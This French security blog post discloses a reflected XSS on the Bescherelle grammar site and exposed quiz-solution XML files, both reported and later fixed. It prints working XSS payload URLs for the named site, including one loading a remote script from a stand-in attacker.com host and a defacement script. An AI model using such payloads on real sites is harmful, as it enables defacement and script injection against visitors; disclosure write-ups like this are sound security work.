[Contribution] Fautes sur le site du Bescherelle !

12
sept.
2015
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Contributions / Vulnérabilités, exploits et PoC / XSS   /   Pas de commentaire

Le Bescherelle… Fabuleux ouvrage souvent utilisé pour remettre à leur place ceux qui maltraitent la langue de Molière. Le Bescherelle est une collection de livres de référence en grammaire française, publiée en France et au Canada. Nommées en l’honneur du lexicographe et grammairien français du xixe siècle Louis-Nicolas Bescherelle, ces éditions sont notamment reconnues pour le maniement de la conjugaison des verbes français.

Bon nombre de références au Bescherelle existent de part l’Internet, notamment sur les réseaux sociaux. Il n’est pas rare de trouver des commentaires invitant chaleureusement des Internautes à se procurer un exemple de ces ouvrages ou même pointant vers le site Internet officiel, en raison des tortures infligées aux règles grammaticales, orthographiques et de conjugaison que l’on peut trouver sur ces réseaux. D’autres sites reprennent les principes du Bescherelle, avec une approche « différente » et ludique.

Moi-même je me prend au jeu et redirige de temps à autres mes compères ayant réalisé une aberration en guise de « troll », sans pour autant être un exemple, loin de là… (note pour moi-même : relire 7 fois cet article avant publication).

Bref, cet article / contribution sort un peu du lot par rapport aux autres publications de la même catégorie. Au détour d’une ou deux fautes faites par un ami, j’ai entamé mon « troll du Bescherelle ». Souhaitant m’assurer de la bonne URL du site officiel, j’ai été faire un tour sur celui-ci. C’est là que j’ai pris le temps de le parcourir un peu, chose que je n’avais jamais réellement faite, et que deux-trois brèches me sont apparues.

Le site, développé en PHP et n’employant pas d’URL Rewrite (toutes les variables passaient par GET), comporte plusieurs pages, des jeux on-line, des quizz, etc.

Une Reflected-XSS (RXSS) s’avérait être présente sur l’une de ces pages, permettant d’exécuter du code JavaScript arbitraire dans le contexte de navigation du visiteur :

20150810 - Bescherelle_RXSS_003

RXSS canonique (alert()) bescherelle.com

Le payload associé :

http://www.bescherelle.com/dictees_liste.php?id_niveau=<img style='display:none' src=x onerror='alert(/RXSS bescherelle.com/)'>

A partir d’une telle injection, il est possible de charger un script JS distant dans le contexte de navigation, et d’altérer / corrompre le rendu de la page pour le visiteur. Des « petits rigolos » en connaissance de ce vecteur d’attaque pourraient s’amuser à modifier le contenu des pages pour impacter la qualité rédactionnelle du site, qui, par principe, est une référence absolue. Un tel rendu pourrait donner :

RXSS et modification du DOM

RXSS et modification du DOM

Je précise que le contenu de la page visible sur la capture précédente est pleinement fictif, en aucun cas persistant sur le site du Bescherelle et uniquement voué à illustrer la modification du DOM via la RXSS.

Le payload suivant permet l’injection d’un script JS arbitraire dans le contexte de navigation :

http://www.bescherelle.com/dictees_liste.php?id_niveau=<img style="display:none" src=x onerror="s=document.createElement('script');s.setAttribute('src','//attacker.com/b.js');document.body.appendChild(s);">

Le script chargé dynamiquement voué à modifier le DOM :

function heredoc (f) {
return f.toString().match(/\/\*\s*([\s\S]*?)\s*\*\//m)[1].replace(/(\/\*[\s\S]*?\*) \//g, '$1/');
};
 
var content = heredoc(function() {/*
Bien venu sur le cite du Bescherelle avec lequelle qu'ont apprent parler la France, bien formulé c'est phrase, conjuguèson et autres.<br /><br />
Ceux cite ait la plus bonne réfairance dans la matiere du Français et de la langue de Moliaire.<br /><br />
Longtant boudée des jeunne comme des moin jeunne, en particulié avec MSN et les textos, nous vous propausont une version ludic avec des jeu, quizz et les tradissionel dicter.<br /><br />
En espérants vous réquonssilier une bonne foie pour toute avec le parlez françait.<br /><br />
Bescherelle.com as était consultez puit mise a jour suite as la validassion réçante par l'aquadémi française du françait des expréssions courante "ils croivent" et "faut qu'on voye".<br /><br />
 
Cordialeman, l'équippe du Bescherelle<br /><br /><br />
 
Mercis as tout nos réçant donateur et donatrice pour leurre contribussion :<br /><br />
 
<img src="http://cdn-elle.ladmedia.fr/var/plain_site/storage/images/people/la-vie-des-people/interviews/nabilla-j-envie-les-gens-qui-se-foutent-de-leur-physique-2426893/36898874-1-fre-FR/Nabilla-J-envie-les-gens-qui-se-foutent-de-leur-physique-!_visuel_article2.jpg" width="15%" height="15%" />
<img src="http://static1.purepeople.com/articles/4/15/48/64/@/1729097-moundir-pose-a-paris-en-2010-950x0-3.jpg" width="15%" height="15%" />
<img src="http://sport24.lefigaro.fr/var/plain_site/storage/images/football/diaporamas/franck-ribery-a-l-om-en-images/ribery-meilleur-espoir-de-la-ligue-1/13003053-1-fre-FR/Ribery-meilleur-espoir-de-la-Ligue-1_full_diapos_large.jpg" width="25%" height="25%" />
 
*/});
 
document.getElementById("rubriquecontent").innerHTML = content;
document.getElementById("texterubrique").innerHTML = "Bien venu !";

La plupart des jeux on-line et quizz proposés par le site du Bescherelle reposaient sur des applications Flash, chargeant à la volée un fichier XML contenant les labels / questions / solutions de ces énigmes. Le problème était que ces fichiers XML étaient chargés via variable GET, permettant ainsi de les consulter pleinement et d’accéder aux solutions en clair :

URL d’un jeu on-line :

http://www.bescherelle.com/jeux-entrainement/point/point.php?xml=point_fr_ce2_01.xml

Accès aux solutions :

http://www.bescherelle.com/jeux-entrainement/point/point_fr_ce2_01.xml

Pour altérer l’image de marque de certains sites de référence, diffuser du contenu inapproprié ou diffamatoire, les XSS sont souvent employées par les assaillant. Ce fût notamment le cas pour le site de Rachida Dati, qu’un Internaute avait exploité pour diffuser de fausses notifications.

Après avoir remonté une alerte auprès des équipes en charge du site du Bescherelle, une nouvelle version du site à fait son apparition, corrigeant les vulnérabilités de la précédente. Le design, la structure, la pagination (URL Rewrite) ont été modifiés et modernisés. Le site s’en avère bien plus attractif et affordant, bien joué !

Je salue les équipes du Bescherelle pour leur travail, mon cher Georges pour sa présence et notre ami commun, Nino, pour ses tournures qui nous inspirent au jour le jour 🙂 !

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.